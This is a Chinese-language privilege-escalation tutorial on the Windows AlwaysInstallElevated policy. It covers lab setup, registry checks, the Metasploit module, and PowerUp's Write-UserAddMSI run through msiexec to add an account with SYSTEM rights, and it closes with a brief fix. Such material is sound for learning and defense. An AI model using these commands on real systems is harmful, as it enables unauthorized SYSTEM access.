文章前言
注册表键AlwaysInstallElevated是一个策略设置项,Windows允许低权限用户以System权限运行安装文件。如果启用了这个策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。从安全的角度来看,攻击者可能会滥用这一点,以便将其权限升级到系统级别。
环境配置
首先,在”运行”设置框中输入”gpedit.msc”进入组策略编辑器,之后进行编辑,修改以下内容:
- 组策略—>计算机配置—>管理模板—>Windows组件—>Window Installer —>永远以高权限进行安装:
- 组策略—>用户配置—>管理模板—>Windows组件—>WIndows Installer—>永远以高权限进行安装—>启用:
设置完毕之后会在注册表的以下两个位置自动创建键值”1″:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
简单测试
我们假设我们已经获取到了一台主机的权限,并且有一个meterpreter会话。
确定主机上是否存在此问题的最简单方法是查询以下注册表项:
<code>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</code>
Metasploit
提升权限的最简单和最快的方法是通过Metasploit框架。该框架包含一个模块,可以生成一个带有简单有效负载的MSI包,该包将作为系统在目标主机上执行,并且它将被自动删除。
<code>use exploit/windows/local/always_install_elevated set session 1</code>
PowerUp
使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检测注册表键值是否被设置。如果AlwaysInstallElevated注册表键值被设置,则意味着MSI文件是以System权限运行的。
<code>Import-Module .\PowerUp.ps1 Get-RegistryAlwaysInstallElevated</code>
接下来,使用PowerUp来添加账户,运行Write-UserAddMSI模块生成MSI文件:
<code>Write-UserAddMSI</code>
之后以普通用户权限运行UserAdd.msi:
<code>msiexec /quiet /i UserAdd.msi</code>
防御措施
禁用注册表键值AlwaysInstallElevated即可。
暂无评论内容